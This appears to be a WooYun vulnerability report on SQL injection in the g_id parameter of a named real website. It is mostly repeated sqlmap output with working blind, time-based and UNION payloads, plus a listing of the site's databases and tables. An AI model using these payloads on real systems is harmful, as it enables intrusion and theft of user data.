WooYun.org

从这开始：http://life.ufh.com.cn/guidelist.php?g_id=11
g_id参数存在sql注入
sqlmap identified the following injection point(s) with a total of 54 HTTP(s) requests:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] life_wp
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] life_wp
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: g_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: g_id=11 AND 7545=7545
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: g_id=11 AND (SELECT * FROM (SELECT(SLEEP(5)))VGku)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: g_id=-9239 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x4d4b767a645354417a72,0x7178787171),NULL,NULL,NULL,NULL,NULL,NULL--
---
back-end DBMS: MySQL 5.0.12
Database: life_wp
[28 tables]
+-----------------------+
| wp_activity |
| wp_apphos |
| wp_apply |
| wp_channel |
| wp_commentmeta |
| wp_comments |
| wp_forgetpwd |
| wp_guide |
| wp_home |
| wp_hospital |
| wp_links |
| wp_member |
| wp_options |
| wp_order |
| wp_pack |
| wp_pactivity |
| wp_personnel |
| wp_postmeta |
| wp_posts |
| wp_prize |
| wp_sign |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_terms |
| wp_usermeta |
| wp_users |
| wp_wechat |
| wp_winning |